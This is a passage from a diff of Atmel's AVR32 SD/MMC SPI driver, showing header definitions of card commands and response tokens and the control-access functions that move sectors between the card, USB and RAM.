*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _SD_MMC_SPI_H_
|
||||
#define _SD_MMC_SPI_H_
|
||||
|
||||
|
||||
/*_____ I N C L U D E S ____________________________________________________*/
|
||||
|
||||
#include "conf_access.h"
|
||||
|
||||
#if SD_MMC_SPI_MEM == DISABLE
|
||||
#error sd_mmc_spi.h is #included although SD_MMC_SPI_MEM is disabled
|
||||
#endif
|
||||
|
||||
|
||||
#include "compiler.h"
|
||||
#include "spi.h"
|
||||
|
||||
|
||||
/*_____ M A C R O S ________________________________________________________*/
|
||||
|
||||
#ifndef MMC_SECTOR_SIZE
|
||||
#define MMC_SECTOR_SIZE 512 //default sector size is 512 bytes
|
||||
#endif
|
||||
|
||||
#define byte_adr_of_block(ad) (ad<<9) // returns the first byte address of a specified sector/block number (512bytes/block)
|
||||
|
||||
/*_____ D E F I N I T I O N ________________________________________________*/
|
||||
|
||||
// Card identification
|
||||
#define MMC_CARD 0
|
||||
#define SD_CARD 1
|
||||
#define SD_CARD_2 2
|
||||
#define SD_CARD_2_SDHC 3
|
||||
|
||||
/* status bits for card types */
|
||||
#define SD_SPEC_1 0
|
||||
#define SD_SPEC_2 1
|
||||
#define SD_SPEC_SDHC 2
|
||||
|
||||
|
||||
// Lock operations
|
||||
#define OP_UNLOCK 0x00
|
||||
#define OP_LOCK 0x04
|
||||
#define OP_RESET_PWD 0x02
|
||||
#define OP_SET_PWD 0x01
|
||||
#define OP_FORCED_ERASE 0x08
|
||||
|
||||
// MMC commands (taken from MMC reference)
|
||||
#define MMC_GO_IDLE_STATE 0 ///< initialize card to SPI-type access
|
||||
#define MMC_SEND_OP_COND 1 ///< set card operational mode
|
||||
#define MMC_CMD2 2 ///< illegal in SPI mode !
|
||||
#define MMC_SEND_IF_COND 8
|
||||
#define MMC_SEND_CSD 9 ///< get card's CSD
|
||||
#define MMC_SEND_CID 10 ///< get card's CID
|
||||
#define MMC_SEND_STATUS 13
|
||||
#define MMC_SET_BLOCKLEN 16 ///< Set number of bytes to transfer per block
|
||||
#define MMC_READ_SINGLE_BLOCK 17 ///< read a block
|
||||
#define MMC_WRITE_BLOCK 24 ///< write a block
|
||||
#define MMC_PROGRAM_CSD 27
|
||||
#define MMC_SET_WRITE_PROT 28
|
||||
#define MMC_CLR_WRITE_PROT 29
|
||||
#define MMC_SEND_WRITE_PROT 30
|
||||
#define SD_TAG_WR_ERASE_GROUP_START 32
|
||||
#define SD_TAG_WR_ERASE_GROUP_END 33
|
||||
#define MMC_TAG_SECTOR_START 32
|
||||
#define MMC_TAG_SECTOR_END 33
|
||||
#define MMC_UNTAG_SECTOR 34
|
||||
#define MMC_TAG_ERASE_GROUP_START 35 ///< Sets beginning of erase group (mass erase)
|
||||
#define MMC_TAG_ERASE_GROUP_END 36 ///< Sets end of erase group (mass erase)
|
||||
#define MMC_UNTAG_ERASE_GROUP 37 ///< Untag (unset) erase group (mass erase)
|
||||
#define MMC_ERASE 38 ///< Perform block/mass erase
|
||||
#define SD_SEND_OP_COND_ACMD 41 ///< Same as MMC_SEND_OP_COND but specific to SD (must be preceeded by CMD55)
|
||||
#define MMC_LOCK_UNLOCK 42 ///< To start a lock/unlock/pwd operation
|
||||
#define SD_APP_CMD55 55 ///< Use before any specific command (type ACMD)
|
||||
#define SD_READ_OCR 58
|
||||
#define MMC_CRC_ON_OFF 59 ///< Turns CRC check on/off
|
||||
// R1 Response bit-defines
|
||||
#define MMC_R1_BUSY 0x80 ///< R1 response: bit indicates card is busy
|
||||
#define MMC_R1_PARAMETER 0x40
|
||||
#define MMC_R1_ADDRESS 0x20
|
||||
#define MMC_R1_ERASE_SEQ 0x10
|
||||
#define MMC_R1_COM_CRC 0x08
|
||||
#define MMC_R1_ILLEGAL_COM 0x04
|
||||
#define MMC_R1_ERASE_RESET 0x02
|
||||
#define MMC_R1_IDLE_STATE 0x01
|
||||
// Data Start tokens
|
||||
#define MMC_STARTBLOCK_READ 0xFE ///< when received from card, indicates that a block of data will follow
|
||||
#define MMC_STARTBLOCK_WRITE 0xFE ///< when sent to card, indicates that a block of data will follow
|
||||
#define MMC_STARTBLOCK_MWRITE 0xFC
|
||||
// Data Stop tokens
|
||||
#define MMC_STOPTRAN_WRITE 0xFD
|
||||
// Data Error Token values
|
||||
#define MMC_DE_MASK 0x1F
|
||||
#define MMC_DE_ERROR 0x01
|
||||
#define MMC_DE_CC_ERROR 0x02
|
||||
#define MMC_DE_ECC_FAIL 0x04
|
||||
#define MMC_DE_OUT_OF_RANGE 0x04
|
||||
#define MMC_DE_CARD_LOCKED 0x04
|
||||
// Data Response Token values
|
||||
#define MMC_DR_MASK 0x1F
|
||||
#define MMC_DR_ACCEPT 0x05
|
||||
#define MMC_DR_REJECT_CRC 0x0B
|
||||
#define MMC_DR_REJECT_WRITE_ERROR 0x0D
|
||||
|
||||
#define SDHC_CARD 1
|
||||
#define SD_CARD_T 0
|
||||
|
||||
#define SD_FAILURE -1
|
||||
#define SD_MMC 0
|
||||
/*_____ D E C L A R A T I O N ______________________________________________*/
|
||||
|
||||
//! Low-level functions (basic management)
|
||||
extern Bool sd_mmc_spi_internal_init(void);
|
||||
extern Bool sd_mmc_spi_init(spi_options_t spiOptions, unsigned int pba_hz); // initializes the SD/MMC card (reset, init, analyse)
|
||||
extern Bool sd_mmc_spi_check_presence(void); // check the presence of the card
|
||||
extern Bool sd_mmc_spi_mem_check(void); // check the presence of the card, and initialize if inserted
|
||||
extern Bool sd_mmc_spi_wait_not_busy (void); // wait for the card to be not busy (exits with timeout)
|
||||
extern Bool sd_mmc_spi_get_csd(uint8_t *); // stores the CSD of the card into csd[16]
|
||||
extern Bool sd_mmc_spi_get_cid(uint8_t *); // stores the CID of the card into cid[16]
|
||||
extern int sd_mmc_spi_get_if(void);
|
||||
extern int sd_mmc_spi_check_hc(void);
|
||||
extern void sd_mmc_spi_get_capacity(void); // extract parameters from CSD and compute capacity, last block adress, erase group size
|
||||
extern Bool sd_mmc_spi_get_status(void); // read the status register of the card (R2 response)
|
||||
extern uint8_t sd_mmc_spi_send_and_read(uint8_t); // send a byte on SPI and returns the received byte
|
||||
extern uint8_t sd_mmc_spi_send_command(uint8_t, uint32_t); // send a single command + argument (R1 response expected and returned), with memory select then unselect
|
||||
extern uint8_t sd_mmc_spi_command(uint8_t, uint32_t); // send a command + argument (R1 response expected and returned), without memory selct/unselect
|
||||
|
||||
//! Protection functions (optionnal)
|
||||
extern Bool is_sd_mmc_spi_write_pwd_locked(void); // check if the lock protection on the card is featured and enabled
|
||||
extern Bool sd_mmc_spi_lock_operation(uint8_t, uint8_t, uint8_t *); // use this function to lock/unlock the card or modify password
|
||||
|
||||
//! Functions for preparing block read/write
|
||||
extern Bool sd_mmc_spi_read_open (uint32_t); // to call before first access to a random page
|
||||
extern Bool sd_mmc_spi_read_close (void);
|
||||
extern Bool sd_mmc_spi_write_open (uint32_t); // to call before first access to a random page
|
||||
extern void sd_mmc_spi_write_close (void);
|
||||
|
||||
//! Funtions to link USB DEVICE flow with MMC
|
||||
extern Bool sd_mmc_spi_write_sector (uint16_t); // write a 512b sector from USB buffer
|
||||
extern Bool sd_mmc_spi_read_sector (uint16_t); // reads a 512b sector to an USB buffer
|
||||
extern Bool sd_mmc_spi_read_multiple_sector(uint16_t nb_sector);
|
||||
extern Bool sd_mmc_spi_write_multiple_sector(uint16_t nb_sector);
|
||||
extern void sd_mmc_spi_read_multiple_sector_callback(const void *psector);
|
||||
extern void sd_mmc_spi_write_multiple_sector_callback(void *psector);
|
||||
|
||||
|
||||
/*
|
||||
//! Funtions to link USB HOST flow with MMC
|
||||
bit sd_mmc_spi_host_write_sector (uint16_t);
|
||||
bit sd_mmc_spi_host_read_sector (uint16_t);
|
||||
*/
|
||||
|
||||
//! Functions to read/write one sector (512btes) with ram buffer pointer
|
||||
extern Bool sd_mmc_spi_read_sector_to_ram(void *ram); // reads a data block and send it to a buffer (512b)
|
||||
extern Bool sd_mmc_spi_write_sector_from_ram(const void *ram); // writes a data block from a buffer (512b)
|
||||
extern Bool sd_mmc_spi_erase_sector_group(uint32_t, uint32_t); // erase a group of sectors defined by start and end address (details in sd_mmc_spi.c)
|
||||
|
||||
|
||||
//!functions used to make a transfer from SD_MMC to RAM using the PDCA
|
||||
//Max reading size is block
|
||||
extern Bool sd_mmc_spi_read_open_PDCA (uint32_t); // to call before first access to a random page
|
||||
extern void sd_mmc_spi_read_close_PDCA (void); // unselect the memory
|
||||
|
||||
|
||||
extern uint8_t csd[16]; // stores the Card Specific Data
|
||||
extern volatile uint32_t capacity; // stores the capacity in bytes
|
||||
extern volatile uint16_t capacity_mult;
|
||||
extern volatile uint32_t sd_mmc_spi_last_block_address;
|
||||
extern uint16_t erase_group_size;
|
||||
extern uint8_t r1;
|
||||
extern uint16_t r2;
|
||||
extern uint8_t card_type; // stores SD_CARD or MMC_CARD type card
|
||||
extern Bool sd_mmc_spi_init_done;
|
||||
|
||||
|
||||
#endif // _SD_MMC_SPI_H_
|
|
@ -0,0 +1,386 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief CTRL_ACCESS interface for SD/MMC card.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an SPI module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
//_____ I N C L U D E S ___________________________________________________
|
||||
|
||||
#include "conf_access.h"
|
||||
|
||||
|
||||
#if SD_MMC_SPI_MEM == ENABLE
|
||||
|
||||
#include "conf_sd_mmc_spi.h"
|
||||
#include "sd_mmc_spi.h"
|
||||
#include "sd_mmc_spi_mem.h"
|
||||
|
||||
|
||||
//_____ M A C R O S ________________________________________________________
|
||||
|
||||
#define Sd_mmc_spi_access_signal_on()
|
||||
#define Sd_mmc_spi_access_signal_off()
|
||||
|
||||
|
||||
//_____ P R I V A T E D E C L A R A T I O N _____________________________
|
||||
|
||||
|
||||
//_____ D E F I N I T I O N ________________________________________________
|
||||
|
||||
//extern xdata uint32_t sd_mmc_spi_mem_size;
|
||||
extern uint32_t SD_MMC_SPI_DISK_SIZE;
|
||||
extern volatile uint32_t sd_mmc_spi_last_address;
|
||||
extern Bool sd_mmc_spi_init_done;
|
||||
|
||||
uint8_t sd_mmc_spi_presence_status = SD_MMC_INSERTED;
|
||||
extern Bool sd_mmc_spi_init_done;
|
||||
|
||||
|
||||
//_____ D E C L A R A T I O N ______________________________________________
|
||||
|
||||
|
||||
void sd_mmc_spi_mem_init(void)
|
||||
{
|
||||
sd_mmc_spi_internal_init(); // Restart Init of SD/MMC card after previous first init
|
||||
}
|
||||
|
||||
|
||||
|
||||
Ctrl_status sd_mmc_spi_test_unit_ready(void)
|
||||
{
|
||||
Sd_mmc_spi_access_signal_on();
|
||||
switch (sd_mmc_spi_presence_status)
|
||||
{
|
||||
case SD_MMC_REMOVED:
|
||||
sd_mmc_spi_init_done = false;
|
||||
if (OK == sd_mmc_spi_mem_check())
|
||||
{
|
||||
sd_mmc_spi_presence_status = SD_MMC_INSERTED;
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_BUSY;
|
||||
}
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_NO_PRESENT;
|
||||
|
||||
case SD_MMC_INSERTED:
|
||||
if (OK != sd_mmc_spi_mem_check())
|
||||
{
|
||||
sd_mmc_spi_presence_status = SD_MMC_REMOVING;
|
||||
sd_mmc_spi_init_done = false;
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_BUSY;
|
||||
}
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_GOOD;
|
||||
|
||||
case SD_MMC_REMOVING:
|
||||
sd_mmc_spi_presence_status = SD_MMC_REMOVED;
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_NO_PRESENT;
|
||||
|
||||
default:
|
||||
sd_mmc_spi_presence_status = SD_MMC_REMOVED;
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_BUSY;
|
||||
}
|
||||
|
||||
/*
|
||||
if (OK==sd_mmc_spi_mem_check())
|
||||
{
|
||||
if (sd_mmc_spi_status_changed == false)
|
||||
{
|
||||
sd_mmc_spi_status_changed = true;
|
||||
return CTRL_BUSY; // BUSY token must be returned to indicate a status change !
|
||||
}
|
||||
else
|
||||
return CTRL_GOOD; // the 2nd time the host will ask for unit_ready, we can answer GOOD if we have returned BUSY first !
|
||||
}
|
||||
else
|
||||
{
|
||||
if (sd_mmc_spi_status_changed == true)
|
||||
{
|
||||
sd_mmc_spi_status_changed = false;
|
||||
return CTRL_BUSY; // BUSY token must be returned to indicate a status change !
|
||||
}
|
||||
else
|
||||
return CTRL_NO_PRESENT;
|
||||
}
|
||||
*/
|
||||
}
|
||||
|
||||
|
||||
|
||||
Ctrl_status sd_mmc_spi_read_capacity(uint32_t *nb_sector)
|
||||
{
|
||||
// sd_mmc_spi_check_presence(); // ommited because creates interferences with "sd_mmc_spi_test_unit_ready()" function
|
||||
Sd_mmc_spi_access_signal_on();
|
||||
|
||||
if (sd_mmc_spi_init_done == false)
|
||||
{
|
||||
sd_mmc_spi_mem_init();
|
||||
}
|
||||
|
||||
if (sd_mmc_spi_init_done == true)
|
||||
{
|
||||
*nb_sector = sd_mmc_spi_last_block_address+1;
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_GOOD;
|
||||
}
|
||||
else
|
||||
{
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_NO_PRESENT;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//!
|
||||
//! @brief This function returns the write protected status of the memory.
|
||||
//!
|
||||
//! Only used by memory removal with a HARDWARE SPECIFIC write protected detection
|
||||
//! ! The user must unplug the memory to change this write protected status,
|
||||
//! which cannot be for a SD_MMC.
|
||||
//!
|
||||
//! @return false -> the memory is not write-protected (always)
|
||||
//!/
|
||||
Bool sd_mmc_spi_wr_protect(void)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
//!
|
||||
//! @brief This function tells if the memory has been removed or not.
|
||||
//!
|
||||
//! @return false -> The memory isn't removed
|
||||
//!/
|
||||
Bool sd_mmc_spi_removal(void)
|
||||
{
|
||||
return false;
|
||||
// return ((OK == sd_mmc_spi_check_presence()) ? false : true);
|
||||
}
|
||||
|
||||
|
||||
|
||||
//------------ STANDARD FUNCTIONS to read/write the memory --------------------
|
||||
|
||||
#if ACCESS_USB == ENABLED
|
||||
|
||||
#include "usb_drv.h"
|
||||
#include "scsi_decoder.h"
|
||||
|
||||
|
||||
|
||||
Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector)
|
||||
{
|
||||
Bool status;
|
||||
|
||||
if (sd_mmc_spi_init_done == false)
|
||||
{
|
||||
sd_mmc_spi_mem_init();
|
||||
}
|
||||
|
||||
if (sd_mmc_spi_init_done != true)
|
||||
return CTRL_NO_PRESENT;
|
||||
|
||||
Sd_mmc_spi_access_signal_on();
|
||||
|
||||
if( !sd_mmc_spi_read_open(addr) )
|
||||
goto sd_mmc_spi_usb_read_10_fail;
|
||||
|
||||
if( !sd_mmc_spi_read_multiple_sector(nb_sector) )
|
||||
goto sd_mmc_spi_usb_read_10_fail;
|
||||
|
||||
if( !sd_mmc_spi_read_close() )
|
||||
goto sd_mmc_spi_usb_read_10_fail;
|
||||
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_GOOD;
|
||||
|
||||
sd_mmc_spi_usb_read_10_fail:
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_FAIL;
|
||||
}
|
||||
|
||||
|
||||
void sd_mmc_spi_read_multiple_sector_callback(const void *psector)
|
||||
{
|
||||
uint16_t data_to_transfer = MMC_SECTOR_SIZE;
|
||||
|
||||
while (data_to_transfer)
|
||||
{
|
||||
while (!Is_usb_in_ready(g_scsi_ep_ms_in));
|
||||
|
||||
Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_in);
|
||||
data_to_transfer = usb_write_ep_txpacket(g_scsi_ep_ms_in, psector,
|
||||
data_to_transfer, &psector);
|
||||
Usb_ack_in_ready_send(g_scsi_ep_ms_in);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector)
|
||||
{
|
||||
Bool status;
|
||||
|
||||
if (sd_mmc_spi_init_done == false)
|
||||
{
|
||||
sd_mmc_spi_mem_init();
|
||||
}
|
||||
|
||||
if (sd_mmc_spi_init_done == true)
|
||||
{
|
||||
Sd_mmc_spi_access_signal_on();
|
||||
sd_mmc_spi_write_open(addr);
|
||||
status = sd_mmc_spi_write_multiple_sector(nb_sector);
|
||||
sd_mmc_spi_write_close();
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
if (status == OK)
|
||||
return CTRL_GOOD;
|
||||
else
|
||||
return CTRL_NO_PRESENT;
|
||||
}
|
||||
else
|
||||
return CTRL_NO_PRESENT;
|
||||
}
|
||||
|
||||
|
||||
void sd_mmc_spi_write_multiple_sector_callback(void *psector)
|
||||
{
|
||||
uint16_t data_to_transfer = MMC_SECTOR_SIZE;
|
||||
|
||||
while (data_to_transfer)
|
||||
{
|
||||
while (!Is_usb_out_received(g_scsi_ep_ms_out));
|
||||
|
||||
Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_out);
|
||||
data_to_transfer = usb_read_ep_rxpacket(g_scsi_ep_ms_out, psector,
|
||||
data_to_transfer, &psector);
|
||||
Usb_ack_out_received_free(g_scsi_ep_ms_out);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // ACCESS_USB == ENABLED
|
||||
|
||||
|
||||
//------------ Standard functions for read/write 1 sector to 1 sector ram buffer -----------------
|
||||
|
||||
#if ACCESS_MEM_TO_RAM == ENABLED
|
||||
|
||||
Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram)
|
||||
{
|
||||
Sd_mmc_spi_access_signal_on();
|
||||
sd_mmc_spi_check_presence();
|
||||
|
||||
if (sd_mmc_spi_init_done == false)
|
||||
{
|
||||
sd_mmc_spi_mem_init();
|
||||
}
|
||||
|
||||
if (sd_mmc_spi_init_done != true)
|
||||
return CTRL_NO_PRESENT;
|
||||
|
||||
if( !sd_mmc_spi_read_open(addr) )
|
||||
goto sd_mmc_spi_mem_2_ram_fail;
|
||||
|
||||
if( !sd_mmc_spi_read_sector_to_ram(ram))
|
||||
goto sd_mmc_spi_mem_2_ram_fail;
|
||||
|
||||
if( !sd_mmc_spi_read_close() )
|
||||
goto sd_mmc_spi_mem_2_ram_fail;
|
||||
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_GOOD;
|
||||
|
||||
sd_mmc_spi_mem_2_ram_fail:
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_FAIL;
|
||||
}
|
||||
|
||||
|
||||
//! This fonction initialises the memory for a write operation
|
||||
//! from ram buffer to SD/MMC (1 sector)
|
||||
//!
|
||||
//! DATA FLOW is: RAM => SD/MMC
|
||||
//!
|
||||
//! (sector = 512B)
|
||||
//! @param addr Sector address to write
|
||||
//! @param ram Ram buffer pointer
|
||||
//!
|
||||
//! @return Ctrl_status
|
||||
//! It is ready -> CTRL_GOOD
|
||||
//! An error occurs -> CTRL_FAIL
|
||||
//!
|
||||
Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram)
|
||||
{
|
||||
Sd_mmc_spi_access_signal_on();
|
||||
sd_mmc_spi_check_presence();
|
||||
|
||||
if (sd_mmc_spi_init_done == false)
|
||||
{
|
||||
sd_mmc_spi_mem_init();
|
||||
}
|
||||
|
||||
if (sd_mmc_spi_init_done == true)
|
||||
{
|
||||
sd_mmc_spi_write_open(addr);
|
||||
if (KO == sd_mmc_spi_write_sector_from_ram(ram))
|
||||
{
|
||||
sd_mmc_spi_write_close();
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_NO_PRESENT;
|
||||
}
|
||||
sd_mmc_spi_write_close();
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
return CTRL_GOOD;
|
||||
}
|
||||
Sd_mmc_spi_access_signal_off();
|
||||
|
||||
return CTRL_NO_PRESENT;
|
||||
}
|
||||
|
||||
|
||||
#endif // ACCESS_MEM_TO_RAM == ENABLED
|
||||
|
||||
|
||||
#endif // SD_MMC_SPI_MEM == ENABLE
|
|
@ -0,0 +1,188 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief CTRL_ACCESS interface for SD/MMC card.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an SPI module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _SD_MMC_SPI_MEM_H_
|
||||
#define _SD_MMC_SPI_MEM_H_
|
||||
|
||||
|
||||
#include "conf_access.h"
|
||||
|
||||
#if SD_MMC_SPI_MEM == DISABLE
|
||||
#error sd_mmc_spi_mem.h is #included although SD_MMC_SPI_MEM is disabled
|
||||
#endif
|
||||
|
||||
|
||||
#include "ctrl_access.h"
|
||||
|
||||
|
||||
//_____ D E F I N I T I O N S ______________________________________________
|
||||
|
||||
#define SD_MMC_REMOVED 0
|
||||
#define SD_MMC_INSERTED 1
|
||||
#define SD_MMC_REMOVING 2
|
||||
|
||||
|
||||
//---- CONTROL FONCTIONS ----
|
||||
//!
|
||||
//! @brief This function initializes the hw/sw resources required to drive the SD_MMC_SPI.
|
||||
//!/
|
||||
extern void sd_mmc_spi_mem_init(void);
|
||||
|
||||
//!
|
||||
//! @brief This function tests the state of the SD_MMC memory and sends it to the Host.
|
||||
//! For a PC, this device is seen as a removable media
|
||||
//! Before indicating any modification of the status of the media (GOOD->NO_PRESENT or vice-versa),
|
||||
//! the function must return the BUSY data to make the PC accepting the change
|
||||
//!
|
||||
//! @return Ctrl_status
|
||||
//! Media is ready -> CTRL_GOOD
|
||||
//! Media not present -> CTRL_NO_PRESENT
|
||||
//! Media has changed -> CTRL_BUSY
|
||||
//!/
|
||||
extern Ctrl_status sd_mmc_spi_test_unit_ready(void);
|
||||
|
||||
//!
|
||||
//! @brief This function gives the address of the last valid sector.
|
||||
//!
|
||||
//! @param *nb_sector number of sector (sector = 512B). OUT
|
||||
//!
|
||||
//! @return Ctrl_status
|
||||
//! Media ready -> CTRL_GOOD
|
||||
//! Media not present -> CTRL_NO_PRESENT
|
||||
//!/
|
||||
extern Ctrl_status sd_mmc_spi_read_capacity(uint32_t *nb_sector);
|
||||
|
||||
//!
|
||||
//! @brief This function returns the write protected status of the memory.
|
||||
//!
|
||||
//! Only used by memory removal with a HARDWARE SPECIFIC write protected detection
|
||||
//! ! The user must unplug the memory to change this write protected status,
|
||||
//! which cannot be for a SD_MMC.
|
||||
//!
|
||||
//! @return false -> the memory is not write-protected (always)
|
||||
//!/
|
||||
extern Bool sd_mmc_spi_wr_protect(void);
|
||||
|
||||
//!
|
||||
//! @brief This function tells if the memory has been removed or not.
|
||||
//!
|
||||
//! @return false -> The memory isn't removed
|
||||
//!
|
||||
extern Bool sd_mmc_spi_removal(void);
|
||||
|
||||
|
||||
//---- ACCESS DATA FONCTIONS ----
|
||||
|
||||
#if ACCESS_USB == ENABLED
|
||||
// Standard functions for open in read/write mode the device
|
||||
|
||||
//!
|
||||
//! @brief This function performs a read operation of n sectors from a given address on.
|
||||
//! (sector = 512B)
|
||||
//!
|
||||
//! DATA FLOW is: SD_MMC => USB
|
||||
//!
|
||||
//! @param addr Sector address to start the read from
|
||||
//! @param nb_sector Number of sectors to transfer
|
||||
//!
|
||||
//! @return Ctrl_status
|
||||
//! It is ready -> CTRL_GOOD
|
||||
//! A error occur -> CTRL_FAIL
|
||||
//!
|
||||
extern Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector);
|
||||
|
||||
//! This fonction initialises the SD/MMC memory for a write operation
|
||||
//!
|
||||
